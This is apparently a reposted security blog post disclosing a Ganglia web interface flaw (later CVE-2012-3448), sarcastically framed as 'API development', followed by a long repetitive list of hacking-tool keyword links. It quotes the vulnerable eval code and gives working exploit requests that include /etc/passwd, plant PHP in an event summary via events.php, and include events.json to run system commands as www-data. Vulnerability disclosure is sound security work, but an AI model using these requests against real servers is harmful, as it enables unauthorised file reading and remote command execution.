http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related posts
- Pentest Tools Website Vulnerability
- Hacking Tools Name
- Usb Pentest Tools
- New Hack Tools
- Hacking Tools Free Download
- Ethical Hacker Tools
- Hacking Tools 2019
- Pentest Tools Port Scanner
- Hack Tool Apk
- Pentest Tools Online
- Hack Tools
- Pentest Tools
- Pentest Tools Linux
- Pentest Automation Tools
- Hacker
- Hackers Toolbox
- Hack And Tools
- Pentest Tools Apk
- Android Hack Tools Github
- Pentest Tools Website Vulnerability
- Hack Apps
- Pentest Tools For Ubuntu
- Pentest Box Tools Download
- Hack Tool Apk No Root
- Hacking Tools For Pc
- Hack Tools
- Pentest Tools Bluekeep
- Hacking Tools For Games
- Hack And Tools
- Hacker Tools Linux
- Pentest Tools Free
- Bluetooth Hacking Tools Kali
- Hack Website Online Tool
- Pentest Tools
- Hacker Tools Software
- Hack Tools For Mac
- Pentest Tools Open Source
- Computer Hacker
- Pentest Tools Find Subdomains
- Pentest Tools Website
- Hacker Tools Apk Download
- How To Make Hacking Tools
- Hacking Tools Hardware
- Hacking Tools Kit
- Pentest Tools Find Subdomains
- Hacker Tools Apk Download
- Hack Rom Tools
- How To Install Pentest Tools In Ubuntu
- Hacker Tools Github
- Install Pentest Tools Ubuntu
- Easy Hack Tools
- Pentest Tools
- How To Make Hacking Tools
- Hacker Tools Apk Download
- Hacker Tools Mac
- Easy Hack Tools
- Pentest Tools Website
- Free Pentest Tools For Windows
- Hacker Tools List
- Pentest Tools Online
- Beginner Hacker Tools
- Pentest Tools Bluekeep
- Hack Tools Mac
- Best Pentesting Tools 2018
- Hacker Tools Online
- Pentest Tools For Ubuntu
- Nsa Hacker Tools
- What Is Hacking Tools
- Hack Tools For Pc
- Pentest Tools Linux
- New Hack Tools
- Hacking Tools For Beginners
- Hacker
- Hacking Tools 2019
- Hack Tools
- Hacker Tools Apk
- Hacker Tools Free
- Ethical Hacker Tools
- Hacker Tools For Pc
- Pentest Tools Website Vulnerability
- Hacker Tools List
- Ethical Hacker Tools
- Hacker Tools Github
- Hacking Tools For Pc
- Android Hack Tools Github
- Top Pentest Tools
- What Is Hacking Tools
- Hacks And Tools
- Pentest Tools Tcp Port Scanner
- Hack Tools Download
- Pentest Tools Github
- Pentest Tools Website
- Game Hacking
- Hacking Tools For Beginners
- Pentest Recon Tools
- Tools For Hacker
- Android Hack Tools Github
- Hacking Tools Free Download
- Nsa Hack Tools
- Hack Tools Download
- Underground Hacker Sites
- Hack App
- Usb Pentest Tools
- Growth Hacker Tools
- Beginner Hacker Tools
- Hack Tools
- Hacker Techniques Tools And Incident Handling
- Hacking Tools Download
- Hacking Tools Windows 10
- Hack Tools 2019
- Hacking Tools For Games
- Tools 4 Hack
- Pentest Tools Website
- Bluetooth Hacking Tools Kali
- Hacker Tools Free
- Hack Tool Apk No Root
- Hacking Tools And Software
- Hacker Tools For Mac
- Hacking Tools Kit
- Hacker Search Tools
- New Hack Tools
- Kik Hack Tools
- Hacking App
- Pentest Tools For Windows
- Pentest Tools Free
- Hack Tools Online
- Pentest Tools Nmap
- Growth Hacker Tools
- Pentest Tools Online
- Hacks And Tools
- Hack Tools For Games
- Pentest Tools For Ubuntu
- Underground Hacker Sites
- Hacker Tools For Mac
- Hacker Tools Apk Download
- Pentest Tools Subdomain
- Pentest Tools For Android
- Hacking Tools Github
- Pentest Tools Apk
- Pentest Tools Subdomain
- Pentest Tools Bluekeep
- Beginner Hacker Tools
- Pentest Tools
- Best Hacking Tools 2020
- Pentest Tools Linux
- Hack And Tools
- Hacker Tools For Pc
- Hacking Tools Pc
- Hacker Tools Software
No comments:
Post a Comment